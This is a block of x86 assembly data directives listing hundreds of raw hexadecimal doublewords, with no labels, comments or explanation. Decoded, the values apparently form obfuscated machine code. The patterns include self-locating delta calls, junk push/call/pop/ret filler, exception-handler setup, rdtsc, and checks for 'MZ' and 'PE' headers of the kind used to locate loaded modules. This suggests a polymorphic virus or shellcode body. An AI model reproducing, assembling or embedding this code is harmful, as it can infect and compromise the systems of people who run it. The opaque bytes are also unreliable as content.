		dd 8104244Ch, 1D042444h, 41000000h, 0B5B5C351h,	6674571Bh
		dd 142B4A4Fh, 24D1BD81h, 7D005E8h, 860F0000h, 11Eh, 0C5BE66FCh
		dd 0ED9D8BC2h, 6A05E820h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 3942C350h, 0FB9AE32h
		dd 0F98BFABFh, 100E381h, 0B5030000h, 5E83029h, 9958960h
		dd 0F05E807h, 68Fh, 95953300h, 6105E814h, 850FDB0Bh, 90h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 4AC35343h
		dd 0CABD83B1h, 5EC15h, 0B840Fh,	77E90000h, 81000000h, 0F43CB1DEh
		dd 0CA85C73Fh, 105EC15h, 81000000h, 4330F6DEh, 5CE940h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 5D6D23C3h, 14E8h,	0EBB7A500h, 1D0FD75Eh
		dd 0EFEC40F2h, 96A35B72h, 0A0CAA421h, 38E0FAAh,	0F000000h
		dd 665EF6BFh, 0F9B2CE81h, 15CA85C7h, 5ECh, 0BD2B0000h
		dd 5E81539h, 839BD89h, 9D8D05E8h, 5E820EDh, 14619589h
		dd 238105E8h, 0FFFFFEFFh, 9E9h,	0F0048D00h, 3FF10025h
		dd 8C66B905h, 57006ADBh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 0B5BC8917h, 4C3F69Ch, 6E840Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0E78877C3h, 0EE8h, 0C8AC0400h, 6D49B13Dh, 91F2B45Bh
		dd 60B67DBCh, 8A0FD38Bh, 0
		dd 95FF5E61h, 5E809ADh,	90F78B66h, 12E8h, 42AC5600h, 47E085BDh
		dd 0DE8730A9h, 93B83829h, 66DE13DBh, 505FFE8Bh,	2A2F12BEh
		dd 8D899069h, 5E807E1h,	381E9h,	61BD8B00h, 0B005E819h
		dd 69B58B00h, 0E605E80Ah, 57006A70h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 3557223Ah
		dd 0FEDABF3h, 71E4FABFh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 5C35545h, 3885C501h, 0F498AE4h, 29BED8B6h
		dd 0BA2CEFE6h, 6, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 15h,	4CC35646h, 198589C0h, 8B05E81Bh, 0BE9F5C3h, 7000000h
		dd 0C9B1BD96h, 5FDF793Eh, 0E8C196D7h, 0E2F76604h, 22D98D89h
		dd 0D82B05E8h, 0FE8h, 0D5017500h, 0E79F403Bh, 97F947B0h
		dd 1DC2565Bh, 6820Fh, 85290000h, 5E81461h, 8B60935Eh, 0CE8D1h
		dd 0FF910000h, 0DE5AB9ABh, 0A45AE06h, 5A5738B1h, 0BE50615Ah
		dd 28B03EDFh, 6890F93h,	89000000h, 0E82C8D95h, 0D1B5FF05h
		dd 6A05E824h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 3186C357h, 89CE0EB3h, 0E8573915h
		dd 12h,	11AC9B96h, 0F8D8CB24h, 1DDDF60Ah, 0A7246D88h, 43BF3656h
		dd 5E24760Dh, 0F995FF5Fh, 0B005E820h, 3FBF6600h, 6A70E6C9h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0EA8AC355h, 0B58971E4h, 5E80B1Dh,	830F613Ch
		dd 206h, 6AD8B60Fh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 5788C353h, 1035627Bh, 678F2A67h
		dd 13E8h, 1037EB00h, 0E386FC9h,	0D034AA45h, 292001E6h
		dd 7DEF1DDAh, 0CE95Eh, 2D820000h, 19AE520Dh, 0BAB4A381h
		dd 6BA5736h, 33000000h,	0E819B1B5h, 81C38B05h, 0FFCFD9DFh
		dd 0ECEE8159h, 0C102A026h, 9D8904E8h, 5E8215Dh,	6AE2F766h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 91FCC356h, 2BDC5D86h, 41F681D8h, 5843DE92h
		dd 10263DBEh, 0FD82B17h, 15988h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0B9EF6BECh
		dd 7, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h, 1Bh
		dd 5C35646h, 0ED407949h, 0E955699Dh, 9,	0EE3729F7h, 0D2C16E83h
		dd 0C18388h, 14BD8D89h,	0D93B05E8h, 0F4860Fh, 85890000h
		dd 5E82B95h, 66D98C66h,	0C1F6FE8Bh, 0D3840F04h,	6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 3885C355h, 10498AE4h, 5E9C8ABh, 0A8000000h
		dd 6AB5FAA5h, 9AD95FFh,	6A05E8h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0F9DCFC3h, 68Ah, 8DB58B00h
		dd 5B05E809h, 6870Fh, 8D010000h, 5E80A3Dh, 8D09C32Bh, 5E80A59h
		dd 8343Dh, 57860F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 2376C357h, 8B37780Dh
		dd 318589F0h, 0E905E806h, 36h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 64C35141h, 685121ADh, 661A8445h
		dd 66FB2BBFh, 0C08BF98Bh, 48B0Fh, 60530000h, 0C38B5E61h
		dd 8166D88Bh, 0C7B7A7E7h, 0E81A9585h, 3A377505h, 50006A1Fh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 0DF188258h, 6AC08BA4h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 1CBC350h, 0C031F553h
		dd 24D1BD81h, 7D005E8h,	850F0000h, 46h,	0D185FFF5h, 6A05E824h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0DF5AC353h, 34538A76h, 0E1B6BEDBh, 0B58B6DD6h
		dd 5E8024Dh, 0DE9h, 677B7A00h, 0F16BEEAFh, 0D58BF30h, 0B5FF99CFh
		dd 5E824D1h, 2D158529h,	95FF05E8h, 5E820F9h, 51006A90h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 89602391h, 0E81FA195h, 13E805h, 0F8540000h, 8D1CEEC6h
		dd 0AC92DA1Ch, 8A8435BEh, 25C916E9h, 0C78166DFh, 0FE8B9E70h
		dd 83E88159h, 61186A5Ch, 0F43D62BEh, 2DB5097Ah,	6005E81Ah
		dd 13E9h, 0DE55DD00h, 8C1C9FAFh, 5352B0ACh, 0A1B4E01Ch
		dd 0BBC41B24h, 228D9D8Bh, 8A0F05E8h, 19h, 13E8h, 0C7A69700h
		dd 0A4CDA58Dh, 135DC7F6h, 0A96B6618h, 0ECBCEA3Ch, 0F781665Ah
		dd 6A61BBD5h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 9502C355h, 327DBD89h, 0BF0F05E8h
		dd 0E5B503FFh, 6A05E80Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0B185C352h,	0F53BFFA1h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 1CC35747h
		dd 0C19221FCh, 6880F0Eh, 89000000h, 0E82FD59Dh,	0DE905h
		dd 715B0000h, 7012DFD6h, 0BD89A6B1h, 0E9C99A5Ah, 0FFFFF897h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0A1C35141h
		dd 0F79EB293h, 81DB0183h, 0A8AEB3C6h, 0B50B605Fh, 5E831FDh
		dd 0FFFFFEB9h, 89BD8BFFh, 2105E831h, 0E802918Dh, 35952905h
		dd 2105E81Ah, 0E829698Dh, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 75848EABh
		dd 0E95FE4EBh, 9, 0F1363CF5h, 73E03115h, 918D8B96h, 8905E802h
		dd 0E81569B5h, 71BA6605h, 1E1834Bh, 15850Fh, 10E90000h
		dd 28000000h, 0A445C864h, 6F3C9C6Eh, 4E75F9D5h,	8BA65697h
		dd 0E829698Dh, 0AE805h,	81C60000h, 73519A52h, 0FDAC27B1h
		dd 13CD858Bh, 835A05E8h, 850F01E1h, 6, 9F5BD8Bh, 606105E8h
		dd 3824BA66h, 212DBD8Bh, 0FEB905E8h, 21FFFFFFh,	0E826318Dh
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0C1BD2BEEh, 2105E80Eh, 0E819F18Dh, 919D8905h
		dd 905E829h, 0E80D79BDh, 318D8B05h, 0B405E826h,	1E18395h
		dd 33850Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 345AEFC3h, 90797980h, 0F0E78166h
		dd 89BD89F6h, 8B05E830h, 0E825199Dh, 0F18D8B05h, 6A05E819h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 452FC357h, 237F3031h, 48D68166h, 1E18317h
		dd 2850Fh, 19B20000h, 85896061h, 5E80D09h, 0FFFFFEB9h
		dd 56006AFFh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 33B187A9h, 58D444B8h, 0ED8D2108h, 2105E820h
		dd 0E814798Dh, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 3D95239Fh, 8B05E80Dh
		dd 0E82EED9Dh, 0ED8D8B05h, 6605E820h, 0A9BFE881h, 68B0Fh
		dd 95310000h, 5E822C5h,	0F01E183h, 1885h, 0FE86000h, 0DE000000h
		dd 0CCFFDC86h, 333A91A8h, 7C64CCFBh, 59F82E7Eh,	798D8B61h
		dd 6A05E814h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 0A966C350h
		dd 85BD8921h, 2905E82Eh, 0E82581B5h, 1E18305h, 2C850Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 0B11F51C3h, 7E9AC3Bh, 0FC000000h,	0F190663Fh
		dd 60611B2Fh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 19h,	54C35242h, 6AF6D185h, 0C480AFh,	0FFFFFEB9h, 52006AFFh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 22BE632Ah, 1192EF3h,	5E9D191h, 97000000h, 6220F408h
		dd 32818D21h, 952905E8h, 5E80F8Dh, 1A958D21h, 8B5305E8h
		dd 0E81F1995h, 8D8B5E05h, 5E83281h, 2CFDB589h, 0E18305E8h
		dd 6850F01h, 3000000h, 0E829B9B5h, 958D8B05h, 8905E81Ah
		dd 0E8132DBDh, 5810F05h, 0BF000000h, 26A685E5h,	0F01E183h
		dd 585h, 3F36BE00h, 60610B47h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 9C35343h, 0AB77DD40h, 82BF6671h
		dd 0D185C7EAh, 0D005E824h, 6A000007h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0EC06C353h
		dd 61A5FA35h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 16h,	31C35646h, 7EB1DCFh, 0E99D61h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 81ABC355h, 6A697Dh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 8BFDA1C3h, 6000BAC1h, 0EA81F00Eh
		dd 0F0000000h, 8914C283h, 0E8130995h, 14EA8305h, 235A858Dh
		dd 645005ECh, 35FFh, 89640000h,	25h, 0E800h, 2B580000h
		dd 0F00025C2h, 8166FFFFh, 0F5A4D38h, 1285h, 50B70F00h
		dd 81D0033Ch, 45503Ah, 0A840F00h, 2D000000h, 1000h, 0FFFFD9E9h
		dd 89C88BFFh, 0E814F985h, 3C400305h, 650B70Fh, 29959589h
		dd 508B05E8h, 0F9958950h, 505E80Bh, 0F8h, 30C508Bh, 199589D1h
		dd 305E831h, 95890850h,	5E81B31h, 58F64h, 83000000h, 13E904C4h
		dd 51000000h, 10244C8Bh, 0B0A981h, 10000000h, 33590000h
		dd 0BD83C3C0h, 5E80835h, 24840F00h, 0C6000000h,	0E8201585h
		dd 0D2684705h, 0FFD49AA7h, 0E80CA9B5h, 30858D05h, 0FF05EB7Bh
		dd 0FF006AD0h, 618589D0h, 8B05E80Eh, 9E8D3h, 68F30000h
		dd 42BDAA7h, 0BAB82A86h, 617922BAh, 0C1C08158h,	0F00005Ch
		dd 148Eh, 0FE900h, 699A0000h, 11B98074h, 0C84370Fh, 0F395B8CAh
		dd 16F5BF0Bh, 0DF800000h, 6630FFAEh, 59C914BEh,	0CE9h
		dd 7763D900h, 3AE1C61h,	0B911DBF9h, 61E981D0h, 0E96E92A3h
		dd 12h,	0B1CAC38h, 0CFAE309Ah, 9AA37FB0h, 40D14718h, 0E981F4D5h
		dd 6E82EC50h, 81D78B66h, 81F3DAF1h, 148B0F36h, 0E9000000h
		dd 0Fh,	218F94FAh, 1AA2E623h, 4FD5BD12h, 899B0143h, 0DABF0F08h
		dd 115FE881h, 8166481Ah, 81CEC2EAh, 1A115BC0h, 9776BE48h
		dd 0F4F575Ah, 1985h, 7ABB6600h,	31E97Ah, 3F670000h, 52E578FBh
		dd 620EBF36h, 4EF43ECAh, 890F8EA0h, 8, 665F5660h, 614516B8h
		dd 0FFFF54E9h, 414413FFh, 6A3D63BFh, 0F1C6E5A4h, 60387B05h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 5DC35646h
		dd 84E98166h, 80C08B9Ch, 0BD833AD9h, 5E80E89h, 83097500h
		dd 0E80BE9BDh, 19740005h, 0C08B5350h, 438B8h, 1D858900h
		dd 8D05E811h, 0EAA94E9Dh, 5BD3FF05h, 0E9BD8358h, 5E80Bh
		dd 53501774h, 438B8h, 1D858900h, 8D05E811h, 0EAA63D9Dh
		dd 5BD3FF05h, 0CA8B6658h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 77C35242h, 5BA6A32Bh,	0FC4A36F7h, 6AC08B57h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 6804C355h, 68D0Fh, 0BD230000h, 5E81975h
		dd 844E8h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1404h, 0C3504000h, 0E7BE66F0h, 698589FCh, 8105E813h
		dd 54CB47D7h, 813E840h,	6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 5F9E8AC3h, 89054C1Ch
		dd 0E830ED85h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 454D8FF0h, 0E893C617h
		dd 7C5h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Ch,	4EC35040h, 4DDB5508h, 1F927F59h, 0D52FCF81h, 85892CF5h
		dd 5E816B1h, 148D9D89h,	8AE805E8h, 66000007h, 0A75FC681h
		dd 1A398589h, 6A05E8h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 787F3FC3h, 60BB1B19h, 3D958B57h
		dd 5905E828h, 5FD28166h, 4AE861C9h, 6A000007h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 528C352h, 35BB897Ch,	10DF81FFh, 8942DFB8h, 0E810D985h
		dd 0C7816605h, 8E9A758h, 29000000h, 47BD643Bh, 0E872737Ch
		dd 705h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	1DC35343h, 4C9C5ECEh, 2E989985h, 6850F70h, 81000000h
		dd 0C6A651C1h, 6870F01h, 0B000000h, 0E81301BDh,	0B9858905h
		dd 6A05E823h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 6DCFC351h, 0C8D57C51h,	9AE883CCh
		dd 6A000006h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0A9B0C355h, 0CBDB503h,	858905E8h
		dd 5E81AA5h, 18F0Fh, 66F80000h,	0F041C681h, 660E8h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 3205BEFCh, 684EAC02h, 10E97138h, 0AE000000h,	76A784B0h
		dd 2AA04AA2h, 1D58EFB2h, 89ECAFD5h, 0E815BD85h,	57006A05h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 73F525FFh, 0FCD63C95h, 0E8FEB70Fh, 5F5h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0CCC35141h, 507EE667h
		dd 8E9h, 2D5C6600h, 66581237h, 14E82Bh,	0E6AF0000h, 0CC923AB6h
		dd 3F3071EDh, 0A6A830Ah, 0BFC366C0h, 8B6605F5h,	85895EFBh
		dd 5E8306Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	55C35747h, 7B1D8EE2h, 1F88BD0h,	0E80239B5h, 577E805h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 18016EC3h, 0E1D41B14h, 811D2A2Dh,	58D7ADF6h
		dd 0D1858953h, 0F05E808h, 0A88h, 5E900h, 0FFEC0000h, 0E855745Ch
		dd 531h, 22518509h, 858905E8h, 5E82269h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Dh, 0E0C35343h, 0D1ADD477h
		dd 40CE076Eh, 4FBE828h,	6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 0E65555C3h, 9C57D3FCh
		dd 14D59501h, 858905E8h, 5E82EDDh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 0AAC35040h,	0D2C775B8h, 0C7A6979Eh
		dd 1BD298Dh, 6005E833h,	12B1BD8Bh
		dd 8D8B05E8h, 5E83209h,	48FE861h, 8B660000h, 0D98589FBh
		dd 6A05E821h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 0F12CC353h, 1E254EB3h,	0E8573BB2h
		dd 45Dh, 12918D89h, 858905E8h, 5E80E29h, 44CE8h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 0B0F2ADC7h, 8F324078h, 0B59D897Fh, 8905E814h, 0E8284985h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 0EC4E88E8h, 0BC0D1FBDh, 148E0Fh,	0DE80000h
		dd 85000000h, 3447457Dh, 90D5D4FFh, 2493CB6h, 0DAE85FFCh
		dd 6A000003h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 0D1E1C355h, 0A59589DAh, 8905E802h
		dd 0E8307585h, 8BF28B05h, 0E80FC5BDh, 6600B005h, 0E234CF81h
		dd 81D8B60Fh, 0BAA5ACCFh, 6BA41h, 0B58B0000h, 5E80679h
		dd 0B58BC38Bh, 5E80C61h, 0F904E8C1h, 6AE2F766h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 4971C351h, 0F88B662Dh, 6AD82Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 587D56C3h, 0FC42653Bh
		dd 0E95042EFh, 0Eh, 0D87023ABh,	0B38E267h, 7E062E76h, 1C89AD70h
		dd 25BD8924h, 0FF05E81Fh, 0E809AD95h, 0F605605h, 85h, 61FA8B00h
		dd 6A5B5Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0F7570C3h, 0B28925CBh, 0B589EA8Ch, 5E824E1h
		dd 20DD958Dh, 816605E8h, 89FF3BCFh, 52006A1Ah, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 5DFD1B6Bh
		dd 81665041h, 597F8BF7h, 66044289h, 8DCA32BFh, 0E824AD95h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0FA65234Eh, 85890175h, 5E80E79h,	6A1A89h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 4008F3C3h, 261B58Bh,	58B105E8h, 0E9044289h, 9, 0FA1CADE1h
		dd 87174CA6h, 35958DDFh, 6A05E811h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 687FC356h
		dd 0A4C69E73h, 0F9FC1BF1h, 15318D89h, 1A8905E8h, 8DD8529h
		dd 428905E8h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 6D01DDD2h, 8D39C0A3h, 0E8093D95h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 0E19036DDh, 0AA3B0711h, 89FA8B66h, 53006A1Ah
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 6606D55Ah, 6DEDC681h, 89044289h, 0E81A4585h,	29BD8905h
		dd 8D05E825h, 0E813C195h, 6A1A8905h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 3438C353h
		dd 8A0AD42Eh, 8B6032BFh, 6840FC6h, 0F000000h, 89h, 42896100h
		dd 3D8D8B04h, 8D05E80Dh, 0E82EF195h, 52006A05h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0E75B76BEh
		dd 0F4BBC2FCh, 6A1A89h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 869B60C3h, 19D812B7h, 4289A5BBh
		dd 9DB58B04h, 8D05E82Eh, 0E8061995h, 53006A05h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 85FF6B1Ch
		dd 0E39AF4AAh, 661A899Ch, 4289FA8Bh, 8E904h, 2C950000h
		dd 110AA538h, 958D8A7Ah, 5E82F91h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 6C35747h, 3C978420h, 0F2D0E058h
		dd 0EE9h, 0F4615F00h, 0ED60E2Bh, 891D649Bh, 892E4E5Ah
		dd 50006A1Ah, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 4428914h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 16h, 65C35646h, 0B58BDBF3h, 5E80FADh, 0BDE9h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 6A006A62h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 27EFC357h, 0E7D9B34Ah
		dd 81F3EBDAh, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 8D709EC3h, 0F089628h, 6AF8B7h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 1BC35242h, 80006A97h
		dd 95FF54D9h, 5E8167Dh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 46C35343h, 53ED86A1h,	0C7D9589h, 66C305E8h
		dd 0C58ACB8Bh, 0EE9h, 7289E500h, 9DA01365h, 790434BEh
		dd 8B029FF5h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 450697FEh, 0A7C78166h, 89BD83B6h
		dd 5E80Eh, 0BD830975h, 5E80BE9h, 50197400h, 0B8C08B53h
		dd 438h, 1AF98589h, 9D8D05E8h, 5EAA9B5h, 585BD3FFh, 0BE9BD83h
		dd 740005E8h, 0B8535017h, 438h,	1AF98589h, 9D8D05E8h, 5EAA656h
		dd 585BD3FFh, 0DE8h, 0E2365F00h, 0F7BA5731h, 0C19BB1FFh
		dd 956F7F5h, 0E8314D85h, 6A5E5F05h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0DE14C350h
		dd 1AC215D8h, 0C9873132h, 85C1BF66h, 8BFA8B66h,	1D858DC0h
		dd 8005E81Ch, 5190A9CFh, 605E5060h, 505B6161h, 66903EB7h
		dd 6AAA1CBBh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 6B691B77h, 60DE8B66h, 5E8h, 4AF79F00h
		dd 958BCCE3h, 5E81279h,	0DFE0805Fh, 6A006A61h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0D33BC355h, 960D564h, 0E805BD9Dh, 858D05h, 6A05EC31h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 0EDB4C355h, 247C8A89h, 89108194h,	0E821918Dh
		dd 5C08305h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	0C35343h, 0FCF60BB8h, 5090DF8Bh, 0EE952h, 0DCFC0000h
		dd 5037AB0Dh, 689A5350h, 0B86936C4h, 585A310Fh,	4820F50h
		dd 52000000h, 905FF9B3h, 2E9D9D89h, 6A05E8h, 0BD03FE8Bh
		dd 5E821A1h, 0EB81006Ah, 1EBB6DC7h, 203D95FFh, 6A05E8h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0B85DCAC3h, 6FAD327Eh, 7850F9Ch, 50000000h, 50F78166h
		dd 8D8D5FA5h, 5EBA4DBh,	0FD5BD8Bh, 0D1FF05E8h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0C35646h, 3A3C5938h
		dd 0EB808E30h, 0D18D89E9h, 8305E829h, 0E810B9BDh, 850F0105h
		dd 61h,	6AD8B70Fh, 0F9B70F02h, 52506090h, 5E9h,	7F397900h
		dd 310FD2B2h, 8E8h, 4F17E400h, 93B34475h, 585A5824h, 6A905061h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0B9B2C351h, 0BB73EFF3h, 36B7C8F8h, 2C2D95FFh
		dd 6E905E8h, 0A7000000h, 4C1DF96Dh, 0CBDE934h, 0E80000h
		dd 5D000000h, 310AED81h, 6A05ECh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 82C94DC3h, 0F54D2EDFh
		dd 79A5BB66h, 8F58858Dh, 6A05EBh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 599EBCC3h, 13E86090h
		dd 28000000h, 0B2CACEB1h, 76D6E64Fh, 6F8DC103h,	0C9C20AFCh
		dd 52502129h, 585A310Fh, 0E850615Eh, 14h, 160F0AA3h, 401AE8A7h
		dd 4530B784h, 6D2A5D9Ch, 3263FEh, 0F525060h, 0BB585A31h
		dd 4C10C9D1h, 6A905F61h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 0FF8EC356h,	0D781668Eh
		dd 0FF64734Ah, 35h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 0E1B589FFh, 6405E805h
		dd 2589h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 15695DC3h, 85FFF919h, 5E82545h
		dd 8B8BF66h, 6AFF6Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 665ECDC3h, 0FFCF3DBFh, 0E81369B5h
		dd 85BD8905h, 0FF05E80Ch, 0E82FAD95h, 13AE905h,	8B660000h
		dd 959D09DFh, 0B005E808h, 86E38000h, 0CE9h, 1584AE00h
		dd 43875BD6h, 0F2905139h, 0E870E675h, 9, 1D7B48F3h, 0ECBACA46h
		dd 8DBD8989h, 5F05E827h, 0BD8B71E4h, 5E831ADh, 830F613Ch
		dd 0F4h, 1B19BD8Bh, 0B60F05E8h,	399D89C8h, 0BA05E825h
		dd 6, 8166C18Bh, 233325E7h, 0E82EFD9Dh,	4E8C105h, 8E9h
		dd 0E0576700h, 714FF319h, 0E2F76662h, 850Fh, 0C82B0000h
		dd 0E699D8Bh, 9D8B05E8h, 5E814B5h, 9589D18Bh, 5E82F99h
		dd 15E9h, 10E900h, 8FE30000h, 0B6BD0D06h, 58CEAF47h, 19B67732h
		dd 858B21F9h, 5E820DDh,	0B0C78166h, 7C08360h, 0FE9h, 0A97B7400h
		dd 0BE563FACh, 0F7EC083Fh, 83E48F91h, 2C51BD89h, 0C08305E8h
		dd 0E1950900h, 3B05E825h, 1B830FD0h, 66000000h,	0F11BEF81h
		dd 0AC2280BFh, 42E978h,	0CF810000h, 50929DD7h, 26419D8Bh
